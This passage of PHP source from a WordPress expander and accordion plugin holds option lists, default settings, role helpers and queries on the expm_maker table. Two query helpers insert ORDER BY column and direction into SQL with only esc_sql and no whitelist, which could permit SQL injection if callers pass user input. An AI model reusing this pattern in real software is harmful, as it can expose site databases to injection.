'easeOutBack' => 'Ease Out Back',
'easeInOutBack' => 'Ease In Out Back',
'easeInBounce' => 'Ease In Bounce',
'easeOutBounce' => 'Ease Out Bounce',
'easeInOutBounce' => 'Ease In Out Bounce'
);
$selectedPost = self::getSelectedPost();
$devices = array(
'desktop' => 'Desktop',
'tablet' => 'Tablet',
'mobile' => 'Mobile'
);
$dimensionsMode = array(
'template' => array(
'fieldWrapperAttr' => array(
'class' => 'col-xs-5 yrm-choice-option-wrapper'
),
'labelAttr' => array(
'class' => 'col-xs-5 yrm-choice-option-wrapper yrm-sub-option-label'
),
'groupWrapperAttr' => array(
'class' => 'row form-group yrm-choice-wrapper yrm-choice-inputs-wrapper'
)
),
'buttonPosition' => 'right',
'nextNewLine' => true,
'fields' => array(
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-dimension-mode',
'class' => 'dimension-mode',
'data-attr-href' => 'dimension-mode-classic',
'value' => 'classicMode'
),
'label' => array(
'name' => __('Custom Dimensions', YRM_LANG).':'
)
),
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-dimension-mode',
'class' => 'dimension-mode',
'data-attr-href' => 'dimension-mode-auto',
'value' => 'autoMode'
),
'label' => array(
'name' => __('Auto', YRM_LANG).':'
)
)
)
);
$accordionModes = array(
'template' => array(
'fieldWrapperAttr' => array(
'class' => 'yrm-choice-option-wrapper'
),
'labelAttr' => array(
'class' => 'yrm-choice-option-wrapper yrm-sub-option-label'
),
'groupWrapperAttr' => array(
'class' => ' form-group yrm-inline-button-label yrm-choice-wrapper yrm-choice-inputs-wrapper'
)
),
'buttonPosition' => 'left',
'nextNewLine' => true,
'fields' => array(
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-accordion-mode',
'class' => 'accordion-mode',
'data-attr-href' => '',
'value' => 'allFolded'
),
'label' => array(
'name' => __('All Folded', YRM_LANG)
)
),
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-accordion-mode',
'class' => 'accordion-mode',
'data-attr-href' => '',
'value' => 'firstOpen'
),
'label' => array(
'name' => __('First Open', YRM_LANG)
)
),
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-accordion-mode',
'class' => 'accordion-mode',
'data-attr-href' => '',
'value' => 'allOpen'
),
'label' => array(
'name' => __('All Open', YRM_LANG)
)
)
)
);
$hiddenDataLoadMode = array(
'template' => array(
'fieldWrapperAttr' => array(
'class' => 'col-xs-5 yrm-choice-option-wrapper'
),
'labelAttr' => array(
'class' => 'col-xs-5 yrm-choice-option-wrapper yrm-sub-option-label'
),
'groupWrapperAttr' => array(
'class' => 'row form-group yrm-choice-wrapper yrm-choice-inputs-wrapper'
)
),
'buttonPosition' => 'right',
'nextNewLine' => true,
'fields' => array(
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-hidden-data-load-mode',
'class' => 'hidden-load-mode',
'data-attr-href' => 'after-page-load-section',
'value' => 'onload'
),
'label' => array(
'name' => __('After page load', YRM_LANG).':'
)
),
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-hidden-data-load-mode',
'class' => 'hidden-load-mode',
'data-attr-href' => 'after-button-click-section',
'value' => 'click'
),
'label' => array(
'name' => __('After click', YRM_LANG).':'
)
)
)
);
$buttonForPost = array(
'template' => array(
'fieldWrapperAttr' => array(
'class' => 'col-xs-5 yrm-choice-option-wrapper'
),
'labelAttr' => array(
'class' => 'col-xs-5 yrm-choice-option-wrapper yrm-sub-option-label'
),
'groupWrapperAttr' => array(
'class' => 'row form-group yrm-choice-wrapper yrm-choice-inputs-wrapper'
)
),
'buttonPosition' => 'right',
'nextNewLine' => true,
'fields' => array(
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-button-for-post',
'class' => 'button-for-post',
'value' => 'forALlPosts'
),
'label' => array(
'name' => __('Show on all posts', YRM_LANG).':'
)
),
array(
'attr' => array(
'type' => 'radio',
'name' => 'yrm-button-for-post',
'class' => 'button-for-post',
'data-attr-href' => 'botton-for-selected-posts',
'value' => 'slectedPosts'
),
'label' => array(
'name' => __('Show on selected post', YRM_LANG).':'
)
)
)
);
$bgImageSize = array(
'auto' => __('Auto', YRM_LANG),
'cover' => __('Cover', YRM_LANG),
'contain' => __('Contain', YRM_LANG)
);
$bgImageRepeat = array(
'repeat' => __('Repeat', YRM_LANG),
'repeat-x' => __('Repeat x', YRM_LANG),
'repeat-y' => __('Repeat y', YRM_LANG),
'no-repeat' => __('Not Repeat', YRM_LANG)
);
$themesPopup = array(
'colorbox1',
'colorbox2',
'colorbox3',
'colorbox4',
'colorbox5'
);
$hiddenContentAlign = array(
'' => __('Inherit', YRM_LANG),
'center' => __('Center', YRM_LANG),
'left' => __('Left', YRM_LANG),
'right' => __('Right', YRM_LANG),
'justify' => __('Justify', YRM_LANG),
);
$hiddenContentLineHeight = array(
'' => __('Default', YRM_LANG),
'customLineHeight' => __('Custom', YRM_LANG)
);
$textDecorationType = array(
'overline' => 'Overline',
'line-through' => 'Line-through',
'underline' => 'Underline',
'underline overline' => 'Underline overline'
);
$textDecorationStyle = array(
'solid' => 'Solid',
'double' => 'Double',
'dotted' => 'Dotted',
'dashed' => 'Dashed',
'wavy' => 'Wavy'
);
$borderStyle = $textDecorationStyle;
$accordionOpenCloseIcons = array(
'fa-chevron-right_fa-chevron-down' => 'Type 1',
'fa-plus_fa-minus' => 'Type 2',
'fa-check_fa-xmark' => 'Type 3',
'fa-hand-point-right_fa-hand-point-down' => 'Type 4',
'fa-caret-up_fa-caret-down' => 'Type 5',
);
$arrays = array(
'hiddenContentLineHeight' => $hiddenContentLineHeight,
'hiddenContentAlign' => $hiddenContentAlign,
'horizontalAlign' => $horizontalAlign,
'arrowIconAlignment' => $arrowIconAlignment,
'vertical' => $vertical,
'googleFonts' => $googleFonts,
'hoverEffect' => $hoverEffect,
'cursor' => $cursor,
'selectedPost' => $selectedPost,
'btnFontWeight' => $btnFontWeight,
'easings' => apply_filters('yrm-easings', $easings),
'userRoles' => self::getAllUserRoles(),
'devices' => $devices,
'dimensionsMode' => $dimensionsMode,
'bgImageSize' => $bgImageSize,
'bgImageRepeat' => $bgImageRepeat,
'themesPopup' => $themesPopup,
'buttonForPost' => $buttonForPost,
'hiddenDataLoadMode' => $hiddenDataLoadMode,
'accordionModes' => $accordionModes,
'textDecorationType' => $textDecorationType,
'textDecorationStyle' => $textDecorationStyle,
'accordionOpenCloseIcons' => $accordionOpenCloseIcons,
'borderStyle' => $borderStyle
);
$arrays['border-style'] = array(
'dotted' => __('Dotted', YRM_LANG),
'dashed' => __('Dashed', YRM_LANG),
'solid' => __('Solid', YRM_LANG),
'double' => __('Double', YRM_LANG),
'groove' => __('Groove', YRM_LANG),
'ridge' => __('Ridge', YRM_LANG),
'inset' => __('Inset', YRM_LANG),
'outset' => __('Outset', YRM_LANG),
'none' => __('None', YRM_LANG),
'hidden' => __('Hidden', YRM_LANG)
);
$arrays['activateEvent'] = array(
'click' => __('Click', YRM_LANG),
'mouseover' => __('Mouseover', YRM_LANG)
);
return apply_filters('yrmDefaultParamsArray', $arrays);
}
public static function getAllUserRoles() {
$rulesArray = array();
global $wp_roles;
if(empty($wp_roles)){
return $rulesArray;
}
$roles = $wp_roles->roles;
if (empty($roles)) {
return $rulesArray;
}
foreach($roles as $roleName => $roleInfo) {
if($roleName == 'administrator') {
continue;
}
$rulesArray[$roleName] = $roleName;
}
return $rulesArray;
}
public static function getCurrentUserRole() {
$role = 'administrator';
if (is_multisite()) {
$getUsersObj = get_users(
array(
'blog_id' => get_current_blog_id()
)
);
if (is_array($getUsersObj)) {
foreach ($getUsersObj as $key => $userData) {
if ($userData->ID == get_current_user_id()) {
$roles = $userData->roles;
if (is_array($roles) && !empty($roles)) {
$role = $roles[0];
}
}
}
}
return $role;
}
global $current_user, $wpdb;
$userRoleKey = $wpdb->prefix . 'capabilities';
if(!empty($current_user->$userRoleKey)) {
$usersRoles = array_keys(@$current_user->$userRoleKey);
}
if (!empty($usersRoles) && is_array($usersRoles)) {
$role = $usersRoles[0];
}
return $role;
}
public function defaultData() {
$dataDefault = array(
'button-width' => '100px',
'button-height' => '32px',
'animation-duration' => '1000',
'font-size' => '14px',
'btn-background-color' => '#81d742',
'btn-text-color' => '',
'btn-border-radius' => '0px',
'horizontal' => 'center',
'vertical' => 'bottom',
'hidden-content-bg-color' => '',
'hidden-inner-width' => '100%',
'hidden-content-text-color' => '',
'show-only-devices' => '',
'hide-content' => 'on',
'type' => 'button',
'expander-font-family' => 'Open Sans',
'hidden-content-font-size' => '12',
'hover-effect' => '',
'btn-hover-text-color' => 'btn-hover-text-color',
'btn-hover-bg-color' => 'btn-hover-bg-color',
'yrm-selected-post' => '',
'hidden-content-padding' => '0',
'hidden-content-padding' => '0',
'button-border-width' => '1px',
'button-box-shadow-horizontal-length' => '10',
'button-box-shadow-vertical-length' => '10',
'button-bottom-border-width' => '1px',
'button-box-spread-radius' => '0',
'button-box-blur-radius' => '5',
'more-button-title' => __('Read more', YRM_LANG),
'less-button-title' => __('Less more', YRM_LANG),
'yrm-dimension-mode' => 'classicMode',
'yrm-button-padding-top' => '0',
'yrm-button-click-sound' => YRM_SOUNDS_URL."/click.mp3",
'yrm-button-padding-right' => '0',
'yrm-button-padding-bottom' => '0',
'yrm-button-padding-left' => '0',
'yrm-hidden-content-line-height-size' => '1',
'show-content-gradient-height' => 80,
'show-content-gradient-position' => -160,
'show-content-gradient-color' => '#ffffff',
'arrow-icon-width' => '20',
'arrow-icon-height' => '20',
'arrow-icon-alignment' => 'left',
'yrm-button-for-post' => 'forALlPosts',
'hidden-content-bg-img-size' => 'cover',
'auto-open-delay' => 0,
'auto-close-delay' => 0,
'yrm-button-opacity' => 1,
'hidden-content-bg-repeat' => 'no-repeat',
'yrm-hidden-data-load-mode' => 'onload',
'load-data-delay' => 0,
'link-button-confirm-text' => __('Are you sure?', YRM_LANG),
'enable-tooltip-text' => __('Info text', YRM_LANG),
'tooltip-text-size' => '16px',
'tooltip-text-color' => '#ffffff',
'tooltip-text-bg-color' => '#555',
'yrm-enable-decoration' => '',
'yrm-decoration-type' => 'underline',
'yrm-decoration-color' => '',
'yrm-decoration-style' => 'solid',
'yrm-accordion-mode' => 'allFolded'
);
/*popup default values*/
$dataDefault['yrm-popup-theme'] = 'colorbox1';
$dataDefault['yrm-popup-width'] = '';
$dataDefault['yrm-popup-height'] = '';
$dataDefault['yrm-popup-max-width'] = '';
$dataDefault['yrm-popup-max-height'] = '';
$dataDefault['yrm-popup-initial-width'] = '300';
$dataDefault['yrm-popup-initial-height'] = '100';
$dataDefault['yrm-popup-esc-key'] = true;
$dataDefault['yrm-popup-close-button'] = true;
$dataDefault['yrm-popup-overlay-click'] = true;
$dataDefault['yrm-popup-overlay-color'] = '';
$dataDefault['yrm-popup-content-color'] = '';
$dataDefault['yrm-popup-content-padding'] = 0;
$dataDefault['yrm-btn-font-weight'] = 'normal';
$dataDefault['yrm-animate-easings'] = 'swing';
$dataDefault['yrm-button-icon'] = YRM_BUTTON_ICON_URL;
$dataDefault = apply_filters('yrmDefaultOptions', $dataDefault);
return $dataDefault;
}
public static function getAllData() {
global $wpdb;
$results = $wpdb->get_results("SELECT * FROM ".sanitize_text_field($wpdb->prefix)."expm_maker ORDER BY ID DESC", ARRAY_A);
return $results;
}
public static function getAllDataByLimit($offset, $limit = 1, $orderBySql = 'id', $orderSql = 'desc') {
global $wpdb;
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}expm_maker ORDER BY ".esc_sql($orderBySql)." ".esc_sql($orderSql)." LIMIT %d, %d",
$offset,
$limit
);
$results = $wpdb->get_results($query, ARRAY_A);
return $results;
}
public static function getAccordionAllDataByLimit($offset, $limit = 1, $orderBySql = 'id', $orderSql = 'desc') {
global $wpdb;
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}expm_maker WHERE type=\"accordion\" ORDER BY ".esc_sql($orderBySql)." ".esc_sql($orderSql)." LIMIT %d, %d",
$offset,
$limit
);
$results = $wpdb->get_results($query, ARRAY_A);
return $results;
}
public static function getAllSearchSaved($offset, $limit = 1, $orderBySql = 'id', $orderSql = 'desc') {
global $wpdb;
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}" . YRM_FIND_TABLE . " ORDER BY %s %s LIMIT %d, %d",
$orderBySql,
$orderSql,
$offset,
$limit
);
$results = $wpdb->get_results($query, ARRAY_A);
return $results;
}
public static function getDataArrayFormDb() {
$dbData = self::getAllData();
$data['id'] = $dbData['id'];
$data['type'] = $dbData['type'];
$data['title'] = $dbData['title'];
$data['width'] = $dbData['width'];
$data['height'] = $dbData['height'];
$data['duration'] = $dbData['duration'];
return array_merge($data, $dbData);
}
public function getOptionsData() {
$id = $this->getId();
if(isset($id)) {
return $this->getSavedOptions();
}
else {
return $this->defaultData();
}
}
public function getOptionValue($optionKey, $isBool = false) {
$savedOptions = $this->getSavedOptions();
$defaultOptions = $this->defaultData();
if (isset($savedOptions[$optionKey])) {
$elementValue = $savedOptions[$optionKey];
}
else if(!empty($savedOptions) && $isBool) {
/*for checkbox elements when they does not exist in the saved data*/
$elementValue = @$defaultOptions[$optionKey];
}
else if(isset($defaultOptions[$optionKey])){
$elementValue = $defaultOptions[$optionKey];
}
else {
$elementValue = '';
}
if($isBool) {
$elementValue = $this->boolToChecked($elementValue);
}
return $elementValue;
}
public function boolToChecked($var) {
return ($var?'checked':'');
}
public function delete() {
global $wpdb;
$id = $this->getId();
$wpdb->delete($wpdb->prefix.'expm_maker', array('id'=>$id), array('%d'));
}
public static function getSelectedPost() {
$args = array(
'offset' => 0,
'orderby' => 'date',
'order' => 'DESC',
'post_status' => 'publish',
'suppress_filters' => true
);
$args["post_type"] = 'post';
$args["posts_per_page"] = 1000;
$pages = get_posts($args);
$postData = array();
if(!empty($pages)) {
foreach ($pages as $page) {
$postData[$page->ID] = $page->post_name;
}
}
return $postData;
}
public static function getAllReadMores() {
global $wpdb;
$getSavedSql = "SELECT * FROM {$wpdb->prefix}expm_maker";
$results = $wpdb->get_results($getSavedSql, ARRAY_A);
return $results;
}
public static function getReadMoresIdAndTitle()
{
$allData = self::getAllReadMores();
$idAndTitle = array();
foreach ($allData as $data) {
$title = '(Not Provided)';
if (!empty($data['expm-title'])) {
$title = $data['expm-title'];
}
$idAndTitle[$data['id']] = $title;
}
return $idAndTitle;
}
}